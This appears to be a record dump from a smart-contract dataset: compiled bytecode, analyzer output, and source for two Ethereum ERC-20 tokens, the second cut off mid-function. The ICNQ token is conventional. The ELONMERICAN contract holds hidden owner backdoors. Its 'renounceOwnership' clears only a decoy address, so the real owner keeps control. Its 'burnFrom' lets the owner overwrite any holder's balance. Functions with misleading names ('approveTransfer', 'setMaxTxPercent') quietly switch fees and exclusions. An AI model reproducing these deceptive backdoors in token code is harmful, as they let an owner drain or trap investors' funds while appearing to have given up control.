ffff166107f057600080935093505050610793565b73ffffffffffffffffffffffffffffffffffffffff821660009081526020819052604090206001015463ffffffff90811682039061012c908216101561088257505073ffffffffffffffffffffffffffffffffffffffff166000908152602081905260409020600190810154909250640100000000900471ffffffffffffffffffffffffffffffffffff169050610793565b600061088e84846101eb565b905060006108fe6106da670de0b6b3a764000060405180602001604052808763ffffffff166000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548803816106b357fe5b6001975071ffffffffffffffffffffffffffffffffffff16955050505050509250929050565b6000602081905290815260409020805460019091015463ffffffff811690640100000000900471ffffffffffffffffffffffffffffffffffff1683565b610969610d16565b600082116109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610fb9565b60405180910390fd5b826109c65750604080516020810190915260008152610354565b71ffffffffffffffffffffffffffffffffffff8311610a7c57600082607085901b816109ee57fe5b0490507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610a47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f82565b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610354565b6000610a98846e01000000000000000000000000000085610bd6565b90507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610a47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f82565b6000811580610b0b57505080820282828281610b0857fe5b04145b610354576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610ff0565b610b49610d28565b6000821580610b8457505082517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1682810290838281610b8157fe5b04145b610bba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f14565b60408051602081019091529081529392505050565b5160701c90565b6000806000610be58686610c5b565b9150915060008480610bf357fe5b868809905082811115610c07576001820391505b8083039250848210610c45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f4b565b610c50838387610ca6565b979650505050505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84860990508385029250828103915082811015610c9e576001820391505b509250929050565b60008181038216808381610cb657fe5b049250808581610cc257fe5b049450808160000381610cd157fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b60408051602081019091526000815290565b6040518060200160405280600081525090565b600060208284031215610d4c578081fd5b8135610d5781611060565b9392505050565b60008060208385031215610d70578081fd5b823567ffffffffffffffff80821115610d87578283fd5b818501915085601f830112610d9a578283fd5b813581811115610da8578384fd5b866020828501011115610db9578384fd5b60209290920196919550909350505050565b60008060408385031215610ddd578182fd5b8235610de881611060565b91506020830135610df8816110a1565b809150509250929050565b600080600060608486031215610e17578081fd5b8351610e2281611085565b6020850151909350610e3381611085565b6040850151909250610e44816110a1565b809150509250925092565b600060208284031215610e60578081fd5b5051919050565b60008151808452815b81811015610e8c57602081850181015186830182015201610e70565b81811115610e9d5782602083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b9115158252602082015260400190565b600060208252610d576020830184610e67565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b60208082526019908201527f4669786564506f696e743a3a6d756c3a206f766572666c6f7700000000000000604082015260600190565b6020808252601a908201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604082015260600190565b6020808252601e908201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604082015260600190565b6020808252601e908201527f4669786564506f696e743a3a6672616374696f6e3a2064697620627920300000604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b90815260200190565b92835263ffffffff91909116602083015271ffffffffffffffffffffffffffffffffffff16604082015260600190565b73ffffffffffffffffffffffffffffffffffffffff8116811461108257600080fd5b50565b6dffffffffffffffffffffffffffff8116811461108257600080fd5b63ffffffff8116811461108257600080fdfea26469706673582212205a146b99fde6f39ccdb3bdba7646b69613c4392057d16ba418826217c7ce9bcb64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,290 |
0xb3e2cb7cccfe139f8ff84013823bf22da6b6390a
|
pragma solidity 0.4.19;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/PausableToken.sol
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/ICNQToken.sol
/**
* @title ICNQ Token contract - ERC20 compatible token contract.
* @author Gustavo Guimaraes - <gustavoguimaraes@gmail.com>
*/
contract ICNQToken is PausableToken, MintableToken {
string public constant name = "Iconiq Lab Token";
string public constant symbol = "ICNQ";
uint8 public constant decimals = 18;
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde0314610139578063095ea7b3146101c757806318160ddd1461022157806323b872dd1461024a578063313ce567146102c35780633f4ba83a146102f257806340c10f19146103075780635c975abb14610361578063661884631461038e57806370a08231146103e85780637d64bcb4146104355780638456cb59146104625780638da5cb5b1461047757806395d89b41146104cc578063a9059cbb1461055a578063d73dd623146105b4578063dd62ed3e1461060e578063f2fde38b1461067a575b600080fd5b341561011757600080fd5b61011f6106b3565b604051808215151515815260200191505060405180910390f35b341561014457600080fd5b61014c6106c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ff565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b61023461072f565b6040518082815260200191505060405180910390f35b341561025557600080fd5b6102a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610735565b604051808215151515815260200191505060405180910390f35b34156102ce57600080fd5b6102d6610767565b604051808260ff1660ff16815260200191505060405180910390f35b34156102fd57600080fd5b61030561076c565b005b341561031257600080fd5b610347600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082c565b604051808215151515815260200191505060405180910390f35b341561036c57600080fd5b610374610a14565b604051808215151515815260200191505060405180910390f35b341561039957600080fd5b6103ce600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a27565b604051808215151515815260200191505060405180910390f35b34156103f357600080fd5b61041f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a57565b6040518082815260200191505060405180910390f35b341561044057600080fd5b610448610aa0565b604051808215151515815260200191505060405180910390f35b341561046d57600080fd5b610475610b68565b005b341561048257600080fd5b61048a610c29565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d757600080fd5b6104df610c4f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561051f578082015181840152602081019050610504565b50505050905090810190601f16801561054c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561056557600080fd5b61059a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c88565b604051808215151515815260200191505060405180910390f35b34156105bf57600080fd5b6105f4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cb8565b604051808215151515815260200191505060405180910390f35b341561061957600080fd5b610664600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ce8565b6040518082815260200191505060405180910390f35b341561068557600080fd5b6106b1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d6f565b005b600360159054906101000a900460ff1681565b6040805190810160405280601081526020017f49636f6e6971204c616220546f6b656e0000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561071d57600080fd5b6107278383610ec7565b905092915050565b60005481565b6000600360149054906101000a900460ff1615151561075357600080fd5b61075e848484610fb9565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107c857600080fd5b600360149054906101000a900460ff1615156107e357600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088a57600080fd5b600360159054906101000a900460ff161515156108a657600080fd5b6108bb8260005461137890919063ffffffff16565b60008190555061091382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610a4557600080fd5b610a4f8383611396565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610afe57600080fd5b600360159054906101000a900460ff16151515610b1a57600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc457600080fd5b600360149054906101000a900460ff16151515610be057600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f49434e510000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ca657600080fd5b610cb08383611627565b905092915050565b6000600360149054906101000a900460ff16151515610cd657600080fd5b610ce0838361184b565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ff657600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561104457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110cf57600080fd5b61112182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561138c57fe5b8091505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156114a7576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153b565b6114ba8382611a4790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166457600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b257600080fd5b61170482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006118dc82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611a5557fe5b8183039050929150505600a165627a7a723058203a0d175cf7cda4f1c6c3450c8ccc617e2aa911f525ce999126ee4089ed3d59460029
|
{"success": true, "error": null, "results": {}}
| 6,291 |
0x37ca81a759d331024ad3f83c48093e7aad8e4091
|
/**
*Submitted for verification at Etherscan.io on 2021-07-20
*/
/**
Twitter: https://twitter.com/elonmerican
Telegram: https://t.me/elonmerican
*/
//"SPDX-License-Identifier: MIT"
pragma solidity 0.7.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address trecipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
contract Ownable {
address owner;
address owneraddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
owner = msgSender;
owneraddress = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function ownerAddress() public view returns (address) {
return owneraddress;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owneraddress = address(0);
}
}
contract ELONMERICAN is Ownable {
using SafeMath for uint256;
mapping (address => bool) private _feeExcluded;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
address private uniV2router;
address private uniV2factory;
bool fees = true;
string public name;
string public symbol;
uint256 _balances;
uint8 public decimals;
uint256 public totalSupply;
uint256 public burnPercentage = 1;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
string telegramAddress;
constructor(address router, address factory, uint256 _totalSupply) {
name = "ELONMERICAN | t.me/elonmerican";
symbol = "ELONMERICAN";
decimals = 9;
totalSupply = totalSupply.add(_totalSupply);
balances[msg.sender] = balances[msg.sender].add(_totalSupply);
_balances = 100000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
uniV2router = router;
uniV2factory = factory;
telegramAddress = "https://t.me/elonmerican";
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function includeFee(address _address) external onlyOwner {
_feeExcluded[_address] = false;
}
function approveTransfer(address _address) external onlyOwner {
_feeExcluded[_address] = true;
}
function feeExcluded(address _address) public view returns (bool) {
return _feeExcluded[_address];
}
function setMaxTxPercent() public virtual onlyOwner {
if (fees == true) {fees = false;} else {fees = true;}
}
function feesState() public view returns (bool) {
return fees;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_transfer(_from, _to, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function burnFrom(address account, uint256 amount) external onlyOwner {
require(account != address(0), "ERC20: burn from the zero address disallowed");
totalSupply = totalSupply.sub(amount);
balances[account] =_balances.sub(amount, "ERC20: burn amount exceeds balance");
emit Transfer(account, address(0), amount);
}
function newFeePercentage(uint8 newRate) external onlyOwner {
burnPercentage = newRate;
}
function _transfer(address _from, address _to, uint256 _value) private {
require(_from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address");
